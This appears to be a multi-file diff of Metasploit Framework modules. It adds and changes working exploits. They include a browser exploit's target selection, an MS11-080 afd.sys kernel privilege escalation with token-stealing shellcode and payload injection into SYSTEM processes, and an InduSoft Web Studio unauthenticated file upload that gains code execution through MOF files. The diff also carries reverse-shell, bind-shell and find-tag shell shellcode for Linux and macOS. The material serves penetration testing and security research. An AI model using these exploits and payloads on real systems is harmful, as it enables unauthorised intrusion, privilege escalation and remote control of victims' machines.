elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[2] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
return targets[4] #IE 8 on Windows Vista
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
return targets[6] #IE 9 on Windows 7
else
return nil
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
vprint_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def junk(n=4)
@ -283,8 +296,12 @@ class Metasploit3 < Msf::Exploit::Remote
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
html = <<-EOS
html = %Q|
<html>
<body>
<script>
@ -299,7 +316,7 @@ class Metasploit3 < Msf::Exploit::Remote
</script>
</body>
</html>
EOS
|
return html
end
@ -335,10 +352,13 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_request_uri(cli, request)
print_status request.headers['User-Agent']
agent = request.headers['User-Agent']
uri = request.uri
agent = request.headers['User-Agent']
my_target = get_target(agent)
vprint_status("Requesting: #{uri}")
print_status(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported, sending a 404: #{agent.to_s}")
@ -346,15 +366,13 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
vprint_status("Requesting: #{request.uri}")
if request.uri =~ /#{@html2_name}/
if uri =~ /#{@html2_name}/
print_status("Loading #{@html2_name}")
html = load_html2
elsif request.uri =~ /#{@html1_name}/
elsif uri =~ /#{@html1_name}/
print_status("Loading #{@html1_name}")
html = load_html1(cli, my_target)
elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/)
print_status("Redirecting to #{@html1_name}")
send_redirect(cli, "#{this_resource}/#{@html1_name}")
return

View File

@ -38,6 +38,9 @@ class Metasploit3 < Msf::Exploit::Remote
available and will use one if possible. In the case of both IE8 and WMP11, the
exploit defaults to using an iframe on IE8, but is configurable by setting the
DIALOGMECH option to "none" or "player".
This module creates a WebDAV service from which the payload is copied to the
victim machine.
},
'Author' =>
[
@ -72,8 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]),
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
], self.class)

View File

@ -0,0 +1,326 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
# Average because this module relies on memory corruption within the
# kernel, this is inherently dangerous. Also if the payload casues
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],
[ 'Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
],
],
'References' =>
[
[ 'CVE', '2011-2005' ],
[ 'MSB', 'MS11-080' ],
[ 'EDB', 18176 ],
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
],
'DisclosureDate'=> 'Nov 30 2011',
'DefaultTarget' => 0
}))
register_options([
])
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
next if p["pid"] == 4
next if p["user"] != system_account_name
return p
end
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
return
elsif sysinfo["Architectore"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
return
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo["OS"]
if os =~ /windows xp/i
mytarget = targets[1]
end
if ((os =~ /2003/) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error("Could not identify the target system, it may not be supported")
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error("This meterpreter session is already running as SYSTEM")
return
end
this_proc = session.sys.process.open
kernel_info = find_sys_base(nil)
base_addr = 0x1001
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
irpstuff << rand_text_alpha(231)
if not this_proc.memory.writable?(0x1000)
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
if not this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
halbase = find_sys_base("hal.dll")[0]
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
halDispatchTable0x4 = halDispatchTable + 0x4
halDispatchTable0x8 = halDispatchTable + 0x8
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15\x00\x09\x02\x00"
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")
return
end
session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])
session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
])
print_status("Triggering AFDJoinLeaf pointer overwrite...")
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
if not is_system?
print_error("Exploit failed")
return
end
begin
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
host_process.memory.write(mem, payload.encoded)
host_process.thread.create(mem, 0)
rescue ::Exception => e
print_error("Failed to Inject Payload")
print_error(e.to_s)
end
# Restore the token because apparently BSODs are frowned upon
print_status("Restoring the original token...")
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
end
end

View File

@ -0,0 +1,196 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',
'Description' => %q{
This module exploits a lack of authentication and authorization on the InduSoft
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
the filesystem, by abusing the functions provided by the software.
The module uses uses the Windows Management Instrumentation service to execute an
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
XP SP3 and Windows 2003 SP2.
},
'Author' =>
[
'Luigi Auriemma', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-4051' ],
[ 'OSVDB', '77179' ],
[ 'BID', '50675' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ]
],
'Privileged' => true,
'Payload' =>
{
'BadChars' => "",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP / 2003', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2011'))
register_options([Opt::RPORT(4322)], self.class)
end
def check
connect
# Get Application version
data = [0x14].pack("C")
sock.put(data)
app_info = sock.get_once
disconnect
if app_info =~ /InduSoft Web Studio v6\.1/
return Exploit::CheckCode::Vulnerable
elsif app_info =~ /InduSoft Web Studio/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def upload_file(filename, my_payload)
connect
# Get Application version
data = [0x14].pack("C")
sock.put(data)
app_info = sock.get_once
if app_info !~ /InduSoft Web Studio/
print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
end
# Get Operating System
data = [0x13].pack("C")
sock.put(data)
os_info = sock.get_once
if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
end
# Upload file
data = "\x02\x37" # Command => Select destination
data << [my_payload.length].pack("V") # Data length
data << "#{filename}" # File name to upload
data << "\x09\x00\x30\x00\x00\x00"
data << "\x10\x03" # End of packet
# The data must be split on 1024 length chunks
offset = 0 # Data to send
count = 1 # Number of chunks sent
groups = 0 # Data must be sent in groups of 50 chunks
chunk = my_payload[offset, 1024]
while not chunk.nil?
# If there is a group of chunks, send it
if count % 51 == 0
data << "\x02\x2c" # Command => Send group of chunks
my_count = [count].pack("V") # Number of chunks
data << my_count.gsub(/\x10/, "\x10\x10")
data << "\x10\x03" # End of packet
sock.put(data)
res = sock.get_once
if res !~ /\x02\x06\x10\x03/
return res
end
count = count + 1
groups = groups + 1
data = ""
end
pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
my_count = [count].pack("V")
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
pkt << "\x10\x03" # End of packet
data << pkt
offset = (count - groups) * 1024
chunk = my_payload[offset, 1024]
count = count + 1
end
pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
my_count = [count].pack("V")
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
pkt << rand_text_alpha(8) # LastWriteTime
pkt << rand_text_alpha(8) # LastAccessTime
pkt << rand_text_alpha(8) # CreationTime
pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
pkt << rand_text_alpha(1)
pkt << "\x10\x03" # End of packet
data << pkt
sock.put(data)
res = sock.get_once
disconnect
return res
end
def exploit
@peer = "#{rhost}:#{rport}"
exe = generate_payload_exe
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)
print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
if res =~ /\x02\x06\x10\x03/
print_good "#{@peer} - The exe payload has been uploaded successfully"
else
print_error "#{@peer} - Error uploading the exe payload"
return
end
print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
if res =~ /\x02\x06\x10\x03/
print_good "#{@peer} - The mof file has been uploaded successfully"
else
print_error "#{@peer} - Error uploading the mof file"
return
end
end
end

View File

@ -35,47 +35,44 @@ module Metasploit3
{
'Offsets' =>
{
'LHOST' => [ 18, 'ADDR' ],
'LPORT' => [ 24, 'n' ],
'LHOST' => [ 25, 'ADDR' ],
'LPORT' => [ 32, 'n' ],
},
'Payload' =>
"\x31\xdb" +# xorl %ebx,%ebx #
"\xf7\xe3" +# mull %ebx #
"\x53" +# pushl %ebx #
"\x43" +# incl %ebx #
"\x53" +# pushl %ebx #
"\x6a\x02" +# pushl $0x02 #
"\x89\xe1" +# movl %esp,%ecx #
"\xb0\x66" +# movb $0x66,%al #
"\xcd\x80" +# int $0x80 #
"\x5b" +# popl %ebx #
"\x5e" +# popl %esi #
"\x68\x7f\x00\x00\x01" +# pushl $0x0100007f #
"\x66\x68\x04\xd2" +# pushw $0xd204 #
"\x66\x53" +# pushw %bx #
"\x6a\x10" +# pushl $0x10 #
"\x51" +# pushl %ecx #
"\x50" +# pushl %eax #
"\x89\xe1" +# movl %esp,%ecx #
"\x43" +# incl %ebx #
"\x6a\x66" +# pushl $0x66 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
"\x59" +# popl %ecx #
"\x87\xd9" +# xchgl %ebx,%ecx #
"\xb0\x3f" +# movb $0x3f,%al #
"\xcd\x80" +# int $0x80 #
"\x49" +# decl %ecx #
"\x79\xf9" +# jns <cntsockcode+43> #
"\x50" +# pushl %eax #
"\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f #
"\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f #
"\x89\xe3" +# movl %esp,%ebx #
"\x50" +# pushl %eax #
"\x53" +# pushl %ebx #
"\x89\xe1" +# movl %esp,%ecx #
"\xb0\x0b" +# movb $0x0b,%al #
"\xcd\x80" # int $0x80 #
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\x59" +# pop ecx
"\xb0\x3f" +# mov al,0x3f
"\xcd\x80" +# int 0x80
"\x49" +# dec ecx
"\x79\xf9" +# jns 0x11
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\x50" +# push eax
"\x51" +# push ecx
"\x53" +# push ebx
"\xb3\x03" +# mov bl,0x3
"\x89\xe1" +# mov ecx,esp
"\xcd\x80" +# int 0x80
"\x52" +# push edx
"\x68\x2f\x2f\x73\x68" +# push dword 0x68732f2f
"\x68\x2f\x62\x69\x6e" +# push dword 0x6e69622f
"\x89\xe3" +# mov ebx,esp
"\x52" +# push edx
"\x53" +# push ebx
"\x89\xe1" +# mov ecx,esp
"\xb0\x0b" +# mov al,0xb
"\xcd\x80" # int 0x80
}
))
end

View File

@ -0,0 +1,53 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX X64 say Shellcode',
'Version' => '$Revision$',
'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64
))
# exec payload options
register_options(
[
OptString.new('TEXT', [ true, "The text to say", "Hello\!"]),
], self.class)
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate
say = (datastore['TEXT'] || '') << "\x00"
call = "\xe8" + [say.length + 0xd].pack('V')
payload =
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call +
"/usr/bin/say\x00" +
say +
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x41\x52" + # push r10
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end

View File

@ -7,6 +7,7 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
module Metasploit3

View File

@ -0,0 +1,84 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/find_tag'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Osx
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX Command Shell, Find Tag Inline',
'Version' => '$Revision$',
'Description' => 'Spawn a shell on an established connection (proxy/nat safe)',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::FindTag,
'Session' => Msf::Sessions::CommandShellUnix
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
OptString.new('TAG', [ true, "The tag to test for", "NEMO" ]),
], self.class)
end
#
# ensures the setting of tag to a four byte value
#
def generate
cmd = (datastore['CMD'] || '') << "\x00"
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x48\x31\xFF" + # xor rdi,rdi
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x04" + # push byte +0x4
"\x5A" + # pop rdx
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xC9" + # xor r9,r9
"\x48\xFF\xCF" + # dec rdi
"\x48\xFF\xC7" + # inc rdi
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
datastore['TAG'] +
"\x75\xED" + # jnz 0x17
"\x48\x31\xC9" + # xor rcx,rcx
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call +
cmd +
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end

View File

@ -7,6 +7,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module Metasploit3

View File

@ -27,7 +27,10 @@ module Metasploit3
'Name' => 'Bind TCP Stager (IPv6)',
'Version' => '$Revision$',
'Description' => 'Listen for a connection over IPv6',
'Author' => 'kris katterjohn',
'Author' => [
'kris katterjohn', # original
'egypt', # NX support
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
@ -35,11 +38,54 @@ module Metasploit3
'Stager' => {
'Offsets' => { 'LPORT' => [ 0x18, 'n' ] },
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96" +
"\x99\x52\x52\x52\x52\x52\x52\x66\x68\xbf\xbf\x66\x68\x0a\x00" +
"\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\xb0" +
"\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80" +
"\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
"\x6a\x7d" +# push byte +0x7d
"\x58" +# pop eax
"\x99" +# cdq
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
"\xcd\x80" +# int 0x80
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x0a" +# push byte +0xa
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x43" +# inc ebx
"\x52" +# push edx
"\x52" +# push edx
"\x52" +# push edx
"\x52" +# push edx
"\x52" +# push edx
"\x52" +# push edx
"\x68\x0a\x00\xbf\xbf" +# push dword 0xbfbf000a
"\x89\xe1" +# mov ecx,esp
"\x6a\x1c" +# push byte +0x1c
"\x51" +# push ecx
"\x50" +# push eax
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\xcd\x80" +# int 0x80
"\xd1\xe3" +# shl ebx,1
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x43" +# inc ebx
"\xb0\x66" +# mov al,0x66
"\x89\x51\x04" +# mov [ecx+0x4],edx
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\x89\xdf" +# mov edi,ebx
"\xff\xe1" # jmp ecx
}
))
end

View File

@ -0,0 +1,59 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
###
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Linux
def self.handler_type_alias
"bind_nonx_tcp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Version' => '$Revision$',
'Description' => 'Listen for a connection',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 0x14, 'n' ],
},
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" +
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" +
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" +
"\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
}
))
end
end

View File

@ -32,7 +32,10 @@ module Metasploit3
'Name' => 'Bind TCP Stager',
'Version' => '$Revision$',
